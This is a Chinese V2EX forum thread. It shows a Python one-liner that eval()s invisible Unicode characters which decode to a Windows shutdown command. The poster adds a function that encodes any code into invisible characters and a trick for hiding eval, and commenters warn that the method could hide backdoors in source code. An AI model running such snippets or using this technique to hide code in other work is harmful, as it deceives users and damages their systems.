V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
推荐学习书目
Learn Python the Hard Way
Python Sites
PyPI - Python Package Index
http://diveintopython.org/toc/index.html
Pocoo
值得关注的项目
PyPy
Celery
Jinja2
Read the Docs
gevent
pyenv
virtualenv
Stackless Python
Beautiful Soup
结巴中文分词
Green Unicorn
Sentry
Shovel
Pyflakes
pytest
Python 编程
pep8 Checker
Styles
PEP 8
Google Python Style Guide
Code Style from The Hitchhiker's Guide
mugdsod
V2EX  ›  Python

这段 Python 代码执行后居然会关机

  •  
  •   mugdsod · 9 天前 · 4309 次点击
    
    print(eval(''.join(chr(int(x, 2)) for x in ' 󠄁󠄀󠄁󠄁󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄀󠄁󠄁󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄁󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄁󠄁󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄁󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄁'.translate(str.maketrans('󠄂󠄁󠄀', ' 10')).split())))
    
    
    24 条回复    2024-06-17 14:10:18 +08:00
    ClericPy
        1
    ClericPy  
       9 天前
    __import__('os').system("shutdown -s -t 60")

    所以呢?
    baobao1270
        2
    baobao1270  
       9 天前   ❤️ 2
    标题党。
    玩 Unicode 隐藏字符很有意思?
    稍有安全常识的人看见 eval 就知道不对劲了。
    mugdsod
        3
    mugdsod  
    OP
       9 天前   ❤️ 3
    @baobao1270 其实 eval 也可以隐藏: d = lambda v: (''.join(chr(ord(c) - 4) for c in v));e = getattr;e(__builtins__, d('izep'))("print(1)")
    drymonfidelia
        4
    drymonfidelia  
       9 天前
    所以说网上复制的代码不能乱执行,jb 家的 ide 都显示不了这些隐藏字符,我平时瞧不起的 vs code 反而可以
    LudwigWS
        5
    LudwigWS  
       9 天前 via iPhone
    现在 gpt 竟然能自己执行代码了,恐怖。直接解析出了内容
    @ClericPy
    DanielWu6
        6
    DanielWu6  
       9 天前 via Android
    这种问题的意义何在?
    Zaden
        7
    Zaden  
       9 天前
    @DanielWu6 #6 总有不知道, 比如我
    marquina
        8
    marquina  
       9 天前   ❤️ 1
    我让大模型解释这段代码,零一万物 yi-large 和 gpt4o 直接卡住了,不知道是不是真的被搞关机了……gemini1.5flash 有回应,但没识别出潜藏的关机坑点
    dyllen
        9
    dyllen  
       9 天前
    @mugdsod 怎么搞的?我不懂,有没用文章介绍的?
    kenvix
        10
    kenvix  
       9 天前
    @marquina #8 都是 gvisor 沙箱怎么会关机
    drymonfidelia
        11
    drymonfidelia  
       9 天前 via iPhone
    @dyllen 那个空字符串里实际上编码关机代码,只是你的浏览器没显示出来
    lovelylain
        12
    lovelylain  
       9 天前 via Android
    @LudwigWS 去掉 eval 执行就 print 了代码,用不着 gpt 吧
    superrichman
        13
    superrichman  
       9 天前
    一个二进制字符串,一个凯撒密码,好玩
    noahlias
        14
    noahlias  
       9 天前
    😐 unicode 闹嘛了
    yuanbz666
        15
    yuanbz666  
       9 天前
    @marquina #8 确实,gpt4o 直接卡住了
    mugdsod
        16
    mugdsod  
    OP
       9 天前   ❤️ 1
    @dyllen 自己无聊研究的,用下面这个函数可以把代码转空白字符:
    def str_to_bin(s):
    return ('󠄂'.join(format(ord(x), 'b') for x in s)).translate(str.maketrans(' 10', '󠄂󠄁󠄀'))
    然后替换上面的就可以把任意代码转换成空白字符了,比如下面这段
    exec(''.join(chr(int(x, 2)) for x in '󠄁󠄁󠄀󠄀󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄁󠄁󠄂󠄁󠄁󠄀󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄁󠄀󠄁󠄁󠄂󠄁󠄁󠄁󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄁󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄁󠄀󠄁󠄁󠄂󠄁󠄁󠄁󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄁󠄀󠄁󠄁󠄂󠄁󠄁󠄁󠄁󠄁󠄀󠄁󠄂󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄀󠄀󠄀󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄁󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄀󠄂󠄁󠄁󠄁󠄁󠄀󠄁󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄁'.translate(str.maketrans('󠄂󠄁󠄀', ' 10')).split()))
    执行后会打印 99 乘法表
    lasuar
        17
    lasuar  
       9 天前
    meaningless
    cenbiq
        18
    cenbiq  
       9 天前
    @marquina 我靠,我这 gpt4o 也是,每次要输出代码它就没了,我也在想是不是真的关机了
    People11
        19
    People11  
       9 天前
    @cenbiq 不是卡住了,是它在输出大量不可见的代码,等就是了
    conky
        20
    conky  
       9 天前
    GPT
    这个代码片段通过将一组特殊字符转换为二进制数,再将这些二进制数转换为对应的字符,然后执行这些字符的结果。由于这种代码存在执行动态生成的字符串的风险,这种方式非常危险,可能会执行恶意代码。

    为了安全起见,我会解释一下该代码的工作原理,但不会执行它。你可以自己评估代码是否安全并根据需要执行它。

    代码解析过程如下:

    使用 str.maketrans 方法和 translate 方法将特殊字符替换为 0 、1 和空格。
    通过 split 方法将替换后的字符串拆分成一个包含二进制数的列表。
    使用 chr 函数和 int 函数将每个二进制数转换为对应的 ASCII 字符。
    将这些字符连接成一个字符串,然后使用 eval 执行该字符串。
    为了让你能理解这个代码做了什么,我提供一个不执行 eval 的解析过程:
    zh826256645
        21
    zh826256645  
       9 天前
    @cenbiq 他只是在配合你的表演 :)
    f14g
        22
    f14g  
       9 天前 via Android
    @DanielWu6 可以用来在源代码里留后门
    LudwigWS
        23
    LudwigWS  
       9 天前 via iPhone
    @lovelylain 也是,但是 gpt 告诉了我原理。其实要是我看到了那个空白字符,原理也不难猜出来
    obird
        24
    obird  
       9 天前
    字符 U+e0101 不可见。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   5170 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 31ms · UTC 09:00 · PVG 17:00 · LAX 02:00 · JFK 05:00
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.